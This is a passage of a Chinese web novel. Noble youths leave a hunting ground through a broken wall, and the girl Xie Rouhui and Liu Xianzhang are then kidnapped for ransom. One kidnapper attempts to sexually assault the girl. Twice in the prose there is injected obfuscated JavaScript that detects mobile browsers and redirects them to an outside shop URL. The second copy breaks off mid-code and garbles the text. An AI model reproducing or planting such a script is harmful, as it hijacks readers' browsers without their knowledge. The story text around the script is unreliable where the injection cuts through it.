这一处原是皇家的苑囿,仅供权贵在此宴游射猎,只是不知怎么,后来逐渐地荒废了,直到今日流转到私人手里。 有人说幕后的人是亲王,也有说此处与东厂厂公有千丝万缕的关系。 不过无论如何,与她们这些平头百姓都没什么关系了。 领队择了一处地势平坦的空地搭建帐篷。 幕天席地,条件虽不比在柳府时,可这种宁静淡然之感却是旁处比不来的。 谢柔徽和玉茉着实新鲜了两天,围坐在篝火旁,自己动手烤肉,这种不放太多调料的肉倒有几分鲜甜的滋味。 不过,谢柔徽很快就腻了。 一眼望不到边际的草原太过辽阔,偶尔偏僻处,只有风压过草地的莎莎声。 谢柔徽不敢和玉茉两人单独行动。 毕竟这不比在集市上安全。 而且出行也是一个很大的问题。 谢柔徽专门观察过,那些人都是骑马外出。 就连一向娇气的柳娥娇也经常骑着马跑来跑去。 别看她吆五喝六地命令丫鬟,马术倒是不马虎。 谢柔徽躲在帐篷里羡慕极了。 她真是闷坏了,也想去稍远的地界逛一逛。 可她不会去央求柳娥娇,从帐篷里钻出来,一眼便盯住了正低头与东纨交待事务的柳显章。 东纨“嗯嗯”地点头,却突然愣住了。 柳显章止住话音,顺着他的视线看过去。 小姑娘巴巴地仰头望他,“显章哥哥要出去玩吗?” 不等柳显章回答她,远处急促的马蹄声渐近。 守卫也不阻拦,任由那黑马驮着一团烈焰般的红云闯入众人视线中。 一身绯衣的宋瑛勒住缰绳,手臂一撑便飞身下马。 他走到几人面前,问道:“走不走?” 柳显章向他点点头,对东纨道:“牵马来。”视线扫过一张殷勤无比期待无比的脸,顿了顿,补充道:“再牵一匹脾性温顺的马。” 宋瑛不解,“还有谁要一起?” 他的问题很快就得到了解答,因为谢柔徽站得实在很近。 不过宋瑛要嫌弃得多,对柳显章道:“你什么时候多了个小跟屁虫?” 谢柔徽没在意他语气中的嘲弄,她在烦恼另外一件事,只是不知如何开口。 她磨磨蹭蹭的,直到东纨将马牵来,而柳显章和宋瑛都骑在马上低头看着她。 宋瑛不耐地催促道:“要走就快些。” 柳显章问她,“可有什么不妥?是不喜欢这匹马吗?” 东纨牵来的是一匹红色小马驹,虽不比他们的坐骑威风,但十分乖巧温顺,被她这样的陌生人随意接近也没有什么出奇举动。 只是…… 谢柔徽不好意思地承认:“我不会骑马。” 她的声音压得很低。 宋瑛的嗓音却骤然拔高,抱怨了一句后说道:“不会骑马便留下,让你的丫鬟陪你去放纸鸢。” 其实早在看到两人熟稔上马的动作后,谢柔徽就不抱什么希望了,低着头想往回走。 始终看着她的柳显章却叫住了她,在她转过头时,看清她脸上的羞愧还有希望落空的难过,于是默默地朝她伸出手。 柳显章为了照顾她的身高,有意俯身,纤瘦腰线在绷紧的衣衫中纤毫毕现。 谢柔徽看着面前这只手,指骨修长,手背白皙秀气。 她握住那只温暖的手,被拉上了马背。 柳显章向后挪坐,始终与她的身体隔着距离。 宋瑛在旁叹为观止,“咱们是出来玩的,不是出来哄孩子的。” 柳显章没说什么,谢柔徽却转头对着宋瑛做了个鬼脸。 因为谢柔徽在,柳显章有意压着速度,不让坐骑跑得太快。 宋瑛被迫与他们并驾,牢骚道:“拖油瓶啊……柳显章你年纪不大,却开始为将来带孩子做准备了。” 柳显章看到恰好路过靶场,问他,“还记得上次的比试吗?” 宋瑛抚掌笑道:“当然记得,那天你拖拖拉拉的,为了取弓却没比成,我看今日谁都不要用自己的弓!” 柳显章道:“好。” 两人并肩而行,他们同样年纪,身量颀长,又是一般挺拔俊秀,惹得其他人频繁回头看来。 柳显章接过扳指套在拇指上,拉弓的一刻,周身气质陡然一变,犹如脱鞘的利刃,双目雪亮,几乎与手中长弓融为一体。 飞箭离弦,“咄!”的一声深深扎入远处的箭靶。 几乎同时,身后爆发热烈清脆的鼓掌声。 宋瑛挑眉看去,谢柔徽正又蹦又跳地为柳显章喝彩,俨然被柳显章的箭术征服了。 宋瑛哼笑,这个小丫头没什么见识,他不服地捞起长弓,口中唿哨,黑马奔入场地,他跃上马背,在颠簸中熟稔地拉弓搭箭,眼睛盯向不断改变位置的箭靶。 骑马射靶显然难度更高,在场多数人是不会去自取其辱。 可这种事在宋瑛看来却是比吃饭喝水还更要简单的事。 连射三箭,每一支箭都正中靶心。 他带着笑勒马回转,昂着头下马。 却发现谢柔徽根本未曾理睬过这处,只顾着围着柳显章打转。 宋瑛扔了弓箭,走过去不冷不热道:“行了啊,拍马屁也要有限度。” 谢柔徽撇嘴,“显章哥哥就是厉害嘛,你还不许我说实话吗?” 靶场上更多是在练习的人,对于他们这样的熟手来说甚是无趣。 宋瑛悄声对柳显章道:“我知道有一处地方。” 谢柔徽支着耳朵听到了,立即说道:“我也想去!” 宋瑛瞪了她一眼,却没反对,吩咐底下人都不许跟随。 宋瑛在前带路,柳显章则带着谢柔徽跟在他身后。 眼看越跑越偏,耳边都是骤疾的风声,谢柔徽情不自禁抱住双臂,问道:“他到底要去哪?” 他们已经接近围场边缘,连绵不绝的围墙严严实实地挡在面前。 宋瑛停下,示意两人抬头。 高墙上不知为何豁了一个大口子,因地处偏僻,还未有人能发现而修缮这处缺口。 柳显章皱了皱眉。 谢柔徽也奇怪地看向宋瑛。 “喂喂喂!”宋瑛不满,“你们两个怎么都拿这种眼神看着我,告诉你们,这可不是我干的,只不过昨天被我发现了。” 柳显章已然明白了他的目的,不赞同地摇头。 架不住宋瑛苦口婆心地劝道:“围场里定期有人巡视,实在无聊,咱们虽然出去,也不用走远,在天黑前回来就是。” 谢柔徽其实也有些好奇墙外的世界,“外面有什么区别?” 宋瑛看向谢柔徽,“你先回去吧。” “为什么?”谢柔徽有人撑腰,语气都骄横了几分,“别想甩开我。” 宋瑛“啧”了一声,“真是麻烦。” 墙上虽然裂了一个大口子,足够一人穿过,但离地面仍有不短的距离。 谢柔徽还以为宋瑛有什么神通能顺利越过,结果开口却要他们翻过去。 宋瑛贴在墙根处屈膝站定,双手互攥手腕,搭了个平台,“来,柳显章,我先送你上去。” 柳显章不跟他客气,一跃踩到宋瑛手臂上。 宋瑛往上一送,柳显章借着这股力,竟像飞鸟一般,轻巧地翻到了墙头上。 宋瑛回头对谢柔徽道:“看明白了吧,快点!” 谢柔徽吞了吞口水,将裙子往上提了提,往后退了十来步,挥臂猛跑,想学着柳显章方才的模样。 只是她人瘦瘦小小的,必须先踩着宋瑛的腿,然后才能蹬住宋瑛的手臂,被他使劲往上一抛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16915331|190869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 与想象中的情景不同,她根本控制不了自己的身体,半空中撞到墙体,直接就改变了发力的方向,“哎哟”叫了一声,不由自主仰头跌了下去,在空中胡乱挥舞手臂,也不知猛地抓住了什么才勉强稳住身体。 “你想死啊!” 宋瑛突然一声怒吼,吓得谢柔徽一哆嗦,定睛一看,自己抓住的根本不是救命的稻草,居然是宋瑛的头发。 宋瑛被她拽得表情扭曲,嘶声揉着头皮,衣裳下摆还有她踩出的泥脚印。 宋瑛真是想杀人的心都有了。 谢柔徽审时度势,知道这个人得罪不起,马上扑过去道歉,逼出几滴眼泪,惨兮兮卖可怜。 宋瑛本来也没想将她怎么样,烦躁地挥手让她离远些。 柳显章跃下来,“我们赶路回去吧。” 宋瑛才不甘心就此回去,指挥道:“你站在这。” 他让柳显章做人肉架子,自己飞身上墙,对着底下两个人道:“送她上来。” 谢柔徽不想重现方才那一幕,拼命摇头。 宋瑛坐在墙头怒道:“怎么?我的头发拽得,他的就不行?快点!这次肯定没问题。” 宋瑛一副胸有成竹的模样催促两人。 柳显章为了迁就谢柔徽的身高,蹲得更低。 谢柔徽这次学聪明了,将裙子扎在腰间,露出了藕荷色的裤子。 宋瑛在墙头道:“真是不知羞。” 谢柔徽低头看了看,这不是穿着裤子吗?什么都没露,明明没什么。 经过上一次的教训,她将身体的重心放到前侧。 柳显章也在将她托起时轻轻扶了一把,矫正了她的方向。 只是即使如此,谢柔徽仍然离墙头有不短的距离,即将下落时,却见宋瑛突然使出一招倒挂金钟,脚尖勾着墙,骤然缩短了与她的距离,一把攥住她的手臂,另一只手却抓住了她的头发,直接将人扥了上去。 谢柔徽心里大骂这个男人报复心强。 等他们两人稳住身形后,柳显章助跑了一段蹬着凹凸不平的墙体,被宋瑛捞了一把便上来了。 三人同时跳出墙外。 柳显章和宋瑛稳稳落地。 谢柔徽则一屁股坐在了草地上,幸好草丛丰茂柔软,也没摔疼,站起来就跟上了两人。 今年的雨水充足,加上外围的草丛也无人打理,长得有半身高,像极了女人摇曳的长发,妖冶诡异。 走了不过几步,在前领路的宋瑛忽然按住嘴唇,示意他们保持安静,表情有些兴奋地反手卸下弓箭。 他盯着一处方向目不转睛。 可从谢柔徽的角度只能看到随风游荡的野草。 她压低了声音问道:“有什么东西吗?” 柳显章道:“可能是野兽,就藏在草里。” 谢柔徽一听马上躲在了柳显章身后。 宋瑛屏息拉弓,箭却消失在了草中,草丛中一连串地抖动,有什么东西飞快地逃远了。 宋瑛走过去蹲下,捻了捻被鲜血浸湿的泥,懊恼道:“若是这次出来带着猎狗就好了,非得嗅到它的踪迹不可。” 柳显章见他想追,说道:“遇到狼群就麻烦了。” 几人改变方向朝着草丛长势低矮处走去。 只是宋瑛还念念不忘方才唾手可得的猎物,感叹道:“若是我也能猎到一头雪狼就好了。” 柳显章不时侧首察看深一脚浅一脚走着的谢柔徽,转过头对他笑道:“这件事你已与我念叨了不下三回,梁安王在乌鞘岭猎到了一头雪狼,可把你羡慕坏了。” “还不是我爹故意馋我,在信里写那雪狼比寻常的狼大了三圈,爪子与人的脑袋都差不多,毛色比白雪还鲜亮,这样的异兽,也就梁安王那般骁勇威武的人才能猎到,其他人就算看一眼也是可遇不可求。” 谢柔徽在两人旁边静静听着,心中暗叹那梁安王是何等人物,竟能让宋瑛这样自恋的人赞叹有加。 走了约莫半个时辰,再也没有新奇的发现,草丛里连条蛇也没有。 宋瑛不耐烦地挥舞长棍打飞了许多草叶,谢柔徽在后面顿时咳嗽起来。 “我们返程吧。”柳显章瞟了一眼脚程明显放缓的谢柔徽,知道这已是她的极限了。 宋瑛手里的长棍却突然碰到了什么东西,被轻轻地反弹了一个弧度。 宋瑛顿时兴奋地挑开两边草丛,在看清的瞬间脸色再度灰暗下去,棍子挑起一只又破又脏的靴子,靴底沾满了干涸的泥土,靴面有明显破损。 他用力一甩,将靴子甩飞出去,没将这个意外的插曲放在心上,失望道:“走吧,回去。” 走了几步,他回头看向一动不动盯着那靴子方向的柳显章,“有什么不对?” “只是觉得那靴子的制式有些……罢了。”柳显章摇摇头,大概只是过路的旅人吧。 26. 第 26 章 泥猴儿一样的人悄悄钻入营帐,把正收拾床铺的玉茉吓得跳起来,惊恐地打量了半晌,这才认出是自家小姐。 “小姐?您……您怎么成了这副模样,不是与大公子他们一道出去了?难道他们欺负你了?” 虽说以大公子的人品不至于为难小姐,可玉茉这一年多的时间里见识到了太多丑事,人心隔肚皮,难免不提防着。 谢柔徽摆摆手,“我自己摔的。”她往前走了几步,地毯上立时印出泥脚印,她只好将鞋子褪下来甩去门口,就着铜盆撩水洗脸。 方才他们三个从那处豁口原路返回,宋瑛怂恿她直接跳下来,拍着胸脯百般保证没事。 她估算了高度,觉得没问题,便飞身一跃。 结果宋瑛没告诉她,那落脚点恰好有一个浅坑,还被草掩住了。 最后她摔了个倒栽葱,抬起头来满脸是泥,只一双大眼睛幽怨地瞪着宋瑛。 宋瑛在旁捧腹大笑。 就连柳显章也忍不住弯了弯唇角,上前将她“拔”出来,见她衣裳湿了,又解下自己的外衣给她。 待她洗完脸,盆里的水也成了褐色。 玉茉端着盆出去泼水,又喊丫鬟提热水来。 谢柔徽扒住浴桶的桶沿将脑袋探出来,叮嘱道:“那外衣的料子精贵,洗的时候务必小心。” 玉茉本还疑惑小姐怎么披了一件男人的外衣回来,双手展开一瞧,越看越眼熟,翻过来袖子,果然上边绣着竹纹,笑了笑,将衣裳浸在水中,认认真真地搓洗干净,然后铺平了架在火旁烘着。 谢柔徽擦着头发走出来,见桌上盖着两个碟子,揭开来,热腾腾的雾气冒出来,虽还是熟悉的酥油糌粑和烤肉,但她的肚子已经欢快地叫起来。 下午这一程着实将她累坏了,一边撕咬汁水丰沛的烤羊肉,一边含糊地发誓道:“我再也不乱跑了,余下这几天我就待在这个帐篷里陪你,哪也不去了。” 那两人的体力好得不成,也不知累,走个不停,她不好意思做累赘,就这么咬牙使劲撑着,直到现在躺在榻上,早已没知觉的足底开始渐渐泛起酸麻,连带着小腿肚子都在抽筋似的疼。 吃完饭,谢柔徽揉了揉肚子躺下,手指从柔软的皮毛中梳过,眼皮坠下来,很快就进入了梦乡。 不知过了多久,玉茉轻声叫醒了她,“宋公子在外面等您。” 谢柔徽迷迷瞪瞪地坐起来,人还昏沉着,玉茉拢住她缎子似的黑发,用发带绑住了,又往她肩上披了衣裳。 宋瑛等她走出来,看到她脸上还有一块压痕,说话也带着浓重的鼻音,便知她是刚睡醒,也不磨蹭,单手爽快地一抛。 一个柔软的东西呈抛物线落在谢柔徽怀里。 谢柔徽霎时清醒了三分,低头看去,竟是一只灰色的小兔子,安静地趴在她手臂间,也不害怕,晃悠着耳尖,嘴里还在咀嚼什么。 “刚刚做的陷阱,结果被这个小家伙踩到了,我留着没什么用,给你养着玩吧。” 谢柔徽抚摸着兔子柔软的背毛,向他道了声谢。 宋瑛随意摆摆手,转身便走了。 谢柔徽抱着兔子回帐篷,打算让玉茉找些草料来,却听到帐外响起交谈声。 “宋瑛哥哥!” 柳娥娇的嗓音又尖又细,最好辨认。 她娇声娇气道:“方才明明看到你抱着一只兔子,怎么突然不见了?” 在帐篷里的谢柔徽瞬间提起了心弦,恨不得兔子似的竖起耳朵去听宋瑛如何回答。 柳娥娇心眼窄小,若是宋瑛回答将兔子送给了她,柳娥娇非得带丫鬟冲进来不可。 谢柔徽瞥过炉火前不停忙活的玉茉。 她不怕柳娥娇,却不想现在与柳娥娇起冲突。 宋瑛待柳娥娇还算客气,只装傻道:“有吗?会不会是你看错了。” “明明就有。”柳娥娇轻轻跺脚,“我都看到了,宋瑛哥哥还骗我。” 第三人的声音传来,“瑛哥是来找大哥的吗?”又转而对柳娥娇道:“这儿什么都有,你又在缠着瑛哥讨要什么?” 谢柔徽将帘子扒开一条缝,看到来人是柳如施。 对于这个姐姐,柳娥娇向来是不服气的,冷哼了一声,“宋瑛哥哥猎到兔子了,我想要怎么了?” 几人之间的氛围莫名其妙紧张起来。 宋瑛笑了笑,撸起袖子摊开手掌,“你瞧,真没有,方才是有的,只是不小心被兔子溜走了,你若喜欢,待我再捉到给你。” 听到他如此回答,谢柔徽顿时松了一口气。 好在宋瑛嫌麻烦,尽早结束了这个话题,没将战火引到她这处。 帐外三人很快便散去了,只有柳如施在离去前,将视线投去宋瑛方才站立的方向,看到那顶白色帐篷,眼眸微动。 谢柔徽将兔子带回去用软垫做了一个临时的窝。 但是玉茉担心兔子会跳出去,又出去讨回来一个笼子,然后将窝塞进去做了垫脚。 只是那笼子大得离谱,不知是不是用来关牲畜的,兔子在里面蹦来蹦去,嗅个不停。 玉茉抓了把草料塞进去,兔子马上安静下来,嘴唇蠕动开始进食。 晚些时候,玉茉将烤在火旁的外衣取来,“奴婢熏了香,您瞧瞧。” 谢柔徽用指尖摸了摸厚实的边角,确实已干透了,闻起来还香喷喷的。 玉茉将外衣折成了一个有棱有角的小豆腐块递给她。 谢柔徽走出去才发现外面的天已经黑了。 只有远处的篝火还亮着,不时有巡逻的守卫牵着猎犬走过。 这个时辰大多数人已经上床休息了。 不过柳显章没有早睡的习惯,谢柔徽早在同住一个院子时就发现了,他一向要看书到深夜。 柳显章住在营内最深处,中途少不得要经过旁人的帐篷。 谢柔徽抱着衣裳尽量放轻脚步,在路过一面小窗时,却从里面传出女人柔颤的撒娇,柳奕昌餍足而疲倦地敷衍着。 谢柔徽顿时一阵恶寒,快步走了过去。 明净的月光洒过,一个比她们所住要大了一倍多的帐篷矗立在面前,奢侈地独占了这一大片空地。 缝隙处透出烛火,只是帐篷厚实,看不到柳显章伏案看书的清瘦身影。 谢柔徽想着,若是柳显章已要就寝,就让东纨代为转交。 她轻手轻脚地走过去,还有十来步的距离时却猛地停下脚步。 被黑暗笼罩的角落处明显有异动。 像是活物,且体型不小。 玉茉曾对她千叮咛万嘱咐,说草原上有很多猛兽,且野性十足,若遇到了千万别转身就跑,那样会激发它们的野性,人跑得再快也跑不过四条腿的猛兽。 所以她虽心里头慌得要死,但身体却稳住了,一寸寸地向后挪,想尽量撤离对方的视野。 那片阴影里却突然露出了一张老实温厚的男人脸,看着像营帐中的小厮。 他走出来时,手刚从裤腰放下来,个头不高,对她低头哈腰,“对不住小姐,小的惊着您了。” 谢柔徽长呼了一口气,没有追问对方站在那的原因,只将衣裳交给他道:“转交给你的主子吧,我就不进去了。” 那小厮看也不看地接过来,往腋下一塞。 谢柔徽的眉心一跳,正想开口纠正他这个动作会弄皱衣裳。 对方却笑嘻嘻道:“公子正在外面,您要不要与他说句话?” 他手指向方才所站之处,阴影里的人配合地向外走了半步,露出半截衣摆。 谢柔徽不懂他们主仆在打什么哑谜,不过还是依言走了过去。 “显章哥哥你——!” 嗓音似被掐灭了般,不上不下地卡在喉咙里。 面前哪有柳显章,不大的空间里足足缩靠了五六名陌生大汉,皆穿着黑色的夜行服,覆住面孔,眼眸中射出狰狞的视线。 心脏“砰砰”地剧烈跳动。 谢柔徽想也不想地张口大喊,想要与人示警,脖颈处却被狠厉一敲。 霎时,舌根似含了麻药一般,声音湮灭在喉咙里,人也缓缓瘫软了下去。 等她再度醒来,先是感到极度的口渴,然后从头顶开始慢慢恢复知觉,整个上半身都疼得厉害,尤其是脖颈,犹如落枕般僵硬着,适应了一会儿才能慢慢转动,只是视线依然有限。 她已不在营帐内,眼前一切皆十分陌生。 天花板低矮,贴面已全掉光了,露出破败的青灰色。 屋内格局也十分的逼仄狭小,身旁是一张瘸腿供桌,漆面凋零,胡乱叠放着两张破瓷碗,并无贡品,香灰味也十分沉朽,极其难闻,桌后还有一座落灰的佛像,不好辨认。 此处应是一个废弃的庙宇。 她的双手和双脚都被绑住了,躺在地面上就像一只蠕动的大毛毛虫,骨碌碌转动着大眼睛观察四周情形。 屋外隐约有说话声,应该就是绑她来的黑衣人。 “赎金定了十万两,嘿,你怕个鬼,柳家有的是钱,不宰上一笔你甘心走?” “老五你甭磨磨唧唧的,你要不愿意掺和你就进去看着人去,别让那两个财神爷跑了。” “不用担心老大,都绑着结实呢,实在不行就把他们饿上两天,到时候就算松了他们也跑不动。” 谢柔徽听到只言片语,心中大罕:两个?竟然还有一个倒霉蛋? 她知道绑匪都在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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现下细细想来,这确实不符他的行事习惯,只是涉及到了谢柔徽这个纯善的小姑娘,他也不知不觉放下了该有的戒心。 这实在不该。 这些细节,他并不想去跟谢柔徽提及。 说出来,好似在埋怨对方一般。 现在最应做的是思索对策。 谢柔徽自己低声嘟囔着什么,还是忍不住,对他道:“匪徒开了十万两的赎金,显章哥哥,你说咱们能安全离开这吗?” 鸟为食亡,人为财死。 绑匪们无非想要钱。 若是交出了赎金,他们大概也就安全了。 可是……十万两。 谢柔徽虽对这么大的金额没概念,可也知道这是一笔让许多人望而生却的钱。 她有些羞耻地想:幸好柳显章也在身边,若是光她一个人被绑,别说十万两,柳老夫人连一两银子都不会掏的,八成还会欢天喜地办一场宴会庆祝。 谢柔徽情不自禁往身侧贴了贴,可得扒住了这座保命的靠山。 柳显章知道她在担心什么,又好气又好笑地看她,“祖母当然不会吝啬于银两,柳家无论谁被绑走,她都会拼命相救,只是……” “只是什么?”谢柔徽绷紧了身体,害怕他会说出让自己绝望的话。 柳显章淡道:“十万两不是小数目,柳家虽也能筹措到,但是需要时间,催收欠款、收拢各庄的现银或是典当珠宝古董,再双方互通讯息,移交钱款到这来,都是需要大量时间的。” “绑匪可说了什么期限吗?” “十日。” 谢柔徽颓然瘫倒,“恐怕绑匪们没有那般好的耐心。” 他们可能发发善心拖延期限? 谢柔徽立即又想到,对方是穷凶极恶的匪徒,怎么可能慈悲地与他们谈判? 柳显章安慰她:“绑匪动手前探明了地理位置,又熟悉守卫巡逻路线,明显是经过一番深思熟虑的,他们在开口讨要赎金时一定知晓柳家的账务底细,不是贸然地狮子大开口,这样做,恐怕还有内情。” 谢柔徽没怎么听进去,她是头一遭面临这种境地。 地砖的湿冷一阵阵侵入骨子里。 这和往常与柳娥娇、柳奕昌的小打小闹不同。 这次面对的可是杀人不眨眼的匪徒。 她听说,那些匪徒在寄出绑架信前,为了让人质家属知晓轻重,还会捎带上人质的手指和耳朵。 柳显章还有大作用,匪徒们肯定不会碰他的。 谢柔徽流着泪望向自己纤细的手指,还想做一次最后的告别。 柳显章不嫌麻烦地说出那番话,是想让谢柔徽振作精神,别太忧心,可说完后却发现起了反作用。 谢柔徽不再开口追问任何问题了,只呆呆地盯着自己的手,巴掌大的脸上爬满泪珠,盈盈有光。 柳显章叹气,也是,她的想法一向稀奇古怪,只怕又钻了什么死胡同,正要再跟她解释时,大门“吱呀”一声被人推动。 那群匪徒走了进来。 27. 第 27 章 在那群人走进来时,谢柔徽几乎是瞬间就认出了谁是他们中间的头头。 不怪她眼尖,实在是那人的形象太过突出。 四十出头的一张方阔脸,饱经风霜的古铜色,下颌密密仄仄青色的胡茬,身材魁梧健硕,透着一股穷凶极恶的气势。 简直是教科书般的存在,标准的带队大哥。 对方发现她不仅不怕,还直勾勾地盯着他瞧,表情发生了细微的变化。 与此同时,谢柔徽发现他们竟然没有佩戴面罩,而是完整地将脸露了出来。 她猛地闭住眼睛,想了想,又低声对柳显章道:“别看他们的脸。” 为首那人率先开口,说话并不像她意料中的那般粗鲁,反而带着读书人的儒雅,客气道:“小妹妹不要怕嘛,只要柳府将赎金送来,我们便不会碰你一根毫毛的,必然客客气气地将你送回家。” 言外之意,收不到赎金,她这辈子都别想回家了。 他说完,对身后两人叮嘱道:“老三和老五在这守着,其他人跟我走一趟。” 这群人想必方才已经在外面商量好了处置他们的办法,现在便兵分两路。 只是不知他们是去望风还是去取赎金了。 瘦猴一样的男人出列,应就是他口中的老三,玩笑道:“老大您放心,不就是两个孩子吗,人交给我绝对不会出差错。” 老大用力地拍了拍他的肩膀,带着其余人出去了。 却不想那老三是个油滑的,眼见人都走远了,一屁股就坐在地上,“可累死我了,昨天一宿没闭眼,让我歇会儿。” 老五看起来比老三年纪小些,约莫三十出头,更为稳妥,只规规矩矩地坐在门口,一对眼睛始终不离两名人质。 很快,老三就觉得无聊,逗着他们两个说话。 柳显章始终冷冰冰的,侧着头不看他。 而身旁那个小姑娘则更为有趣生动,会偷偷地拿眼睛瞪他。 老三搓了搓手指,心中痒痒的。 令人不适的打量始终在她身上流连,谢柔徽寒毛直竖,头皮发麻,强忍着这种犹带实质的粘腻感。 这种感觉何其相似,与柳奕昌当初站在车前看向她的目光同出一辙。 若较真些,这个老三的眼神则更为赤裸不加掩饰。 她作为女性,天生对这种信号敏感,开始感到不安。 老三从腰间取下水囊,大口喝着。 谢柔徽能想象到清水滑过喉咙时的清凉与爽快。 她昨天最后喝的是酥油茶。 那个不能止渴。 过了这么久,嗓子眼干得要冒烟。 她做不到没骨气地去讨要水囊,暗暗地吞咽口水。 老三突然坐到身边,举起水囊在她眼前一晃,“想喝吗?” 谢柔徽看到瓶口处亮晶晶的,上面刚沾过老三的唇。 而老三张口说话时,会喷出一股带着臭味的热气。 她突然觉得一点都不渴了,大声道:“我不渴!” 老三拧住瓶塞,将水囊扔到一边,伸手掐住了谢柔徽的下巴,认真打量,“听说你娘是涁州的绝色,老子一直没来得及见一面,没想到今日先碰到她女儿了。” 视线滑过那仍一马平川的胸口,他有些失落,不过这女孩虽年纪小,可脸蛋嫩得要掐出水一般,水灵灵的大眼睛泛着一股子的倔强,倒是个美人胚子。 这样的嫩尖落在手里,多少也要掐下来尝尝滋味。 老三话不多说,直接将她推倒在地。 老五喊道:“三哥你干什么?要是老大知道了恐怕要不高兴的,而且碰了她,就要不上价了。” 老三呸道:“她算哪门子小姐,她娘根本不是原配,老太太都不认她做孙女,这么个没人待见的小玩意儿,碰了能怎么样?再说了,老子饥荒这么久了,打顿牙祭不行吗!回头等她被……那就浪费了!” 谢柔徽只感到一股恶臭逼近,湿热的大手在她脸上摸了两把便往下滑去。 谢柔徽使劲翻滚,老三嫌那绑腿的绳子碍事,不顾老五劝阻,三下五除二将绳子解开,猴急地去扳开她的腿。 “滚啊——你滚!”谢柔徽又踢又打,却怎么能与一个成年人相抗衡,满心绝望之际,便听到耳畔一声愤怒的制止声。 老三看向那个文秀的少年,不屑地笑了笑。 不过是个十多岁的孩子罢了,又能做什么? 他正准备继续动手时,柳显章一字一句道:“待过几日,十万两如数奉上,银货两讫,绑架一事既往不咎,可你若是敢动她,便是在突破柳家的底线,这等羞辱,我在此立誓,即使如何艰难,无论付出什么代价,穷尽一生我都要将你们捉拿归案,不死不休。” 方才被他轻视的少年淡道,眼中却射出两道浓重杀气的锐光。 这不是一时的玩笑,而是真心话。 见惯了大场面的老三也不由得发憷,犹豫地缩回手,只丢了面子不甘心,一脚将桌子踢翻,骂骂咧咧地躺了回去,“我睡会儿,老五你看着他们。” 老五也不想将事情闹大不好收场,见三哥终于作罢于是松了一口气,依言蹲坐在门槛上。 柳显章低下头道:“可受伤了吗?” 谢柔徽踢开脚边的绳子,咬住嘴唇摇头,用袖子使劲擦着那男人碰过的地方,直到脸侧的肌肤浮现出红血丝,疼到麻木。 柳显章劝阻及时,那男人只撕坏了她的裙摆,未造成实质性的伤害。 可方才那种被人随意调戏凌辱的感觉却始终挥之不去。 仿佛被按在砧板上的肉一般,身体的每一寸都笼罩在男人的阴影之下。 她需要时间平复一下。 两个人背靠着背安静下来,谁也没再说话。 入夜后,屋子四面透风,愈发湿冷。 老五从外面捡了许多干草和柴火,堆放在一起点燃了。 那篝火离他们很远。 谢柔徽望着熊熊燃烧的火焰,身体却感受不到一丝温暖,不自觉地开始发颤。 柳显章紧挨着她,怎么会感觉不到背后之人愈加强烈的瑟抖。 谢柔徽已睁着眼睛强撑了一天,未进一粒米一口水,如今精神过分紧绷着,已经有些恍惚了。 柳显章一侧身,谢柔徽便无力地滑到他的腿上。 谢柔徽一时没反应过来,蝴蝶振翅般眨了眨眼。 即使这样的角度,柳显章的面部线条也极其优越,带着几分清冷的少年感,却不女气。 谢柔徽勉力要坐起来。 柳显章却动了动腿,让她躺得更舒适些,低声道:“没关系,你需要休息,睡一会儿吧。” 两人靠得如此近,谢柔徽闻到一股熟悉的甜香,掩盖住了周遭陈腐的气味。 这仅有的温暖穿透了皮肉,让她由内而外变得暖烘烘的,十分知足。 柳显章低着头,一天一夜下来,发带已经彻底松脱了,拖挂在一侧,累赘又起不到什么用处。 他甩了甩头,将发带甩了下去。 谢柔徽迷迷糊糊地说:“你闻到了吗?好香。” 她的呓语低如蚊吶,柳显章将头垂得更低,黑发如瀑般滑落。 在极致的黑衬托下,他的面孔白得惊人,嘴唇却饱满殷红。 谢柔徽定定地望着那双眼。 柳显章的瞳孔不同于其他人,是完全的漆黑,不沾染一丝杂色。 她第一次看见这双眼,只觉这人谦恭的外表下是生人勿近的冷漠疏离。 第二次看见这双眼,她开始探究、汲取,伺机寻找弱点加以利用。 而如今,再对着这双眼,她只觉得前所未有的安心,在疲倦的加持下,很快坠入梦乡。 睡着后也不踏实,半梦半醒间,她似是听到有说话声。 柳显章站起过两次,将她的头小心翼翼地从腿上放下来,脑后不知垫了什么,十分柔软。 然后不知过了多久,柳显章轻轻地摇晃她的肩膀,将她叫醒了。 谢柔徽睁开眼睛,怔忪了一会儿。 篝火已变作很小的一团,屋内阴翳范围扩大,显然她睡了不短的时间。 屋外则夜色浓重,远远地传来可怖的狼嚎。 老五已经躺下,鼾声似雷,睡得极熟。 而换班负责看守人质的老三却坐在火旁,百无聊赖地用一柄短刀削木棍。 雪亮的刀锋上下翻飞,嚓嚓碎响不绝于耳。 柳显章贴到她耳旁,用仅能两人听到的声量道:“我已观察过,这座的佛像是中空的,背后还裂了一条细缝,以你的身材可以勉强进去。” 谢柔徽露出一个疑惑的表情,刚睡醒的她还有些懵懂。 柳显章解释道:“待会儿我将老三引出去,你就悄悄地躲到佛像里,我会帮你掩饰,令他们相信你已出逃,他们急于追捕你,必然想不到你竟还留在原处。” 他侧身扥下腰部悬挂的一个小香包,“你拿着,可以防蛇虫,待你躲起来后,他们忌惮有追兵前来,肯定会换一个地方躲藏,等我们一走,你就可以出去了,往西有一条小道,虽然被杂草遮盖住了大半,但还有人走过的痕迹,这附近应有人居住,只是,往后的路,就需要你自己去探索了。” 谢柔徽将香包紧紧攥在手心中,闻着一阵清苦的药香,抬头看他,“那你怎么办?” 柳显章对她微微一笑,“我会等你回来。” 助她逃走,幸运的话,遇到此地居住的人,然后与柳家人联络,带着救兵回来。 运气不好,她也许会迷失在辽阔的草原中,被野兽吃掉。 这是个赌局。 白日里老三急色,无意中说漏了嘴,他分明对柳家的内幕如数家珍。 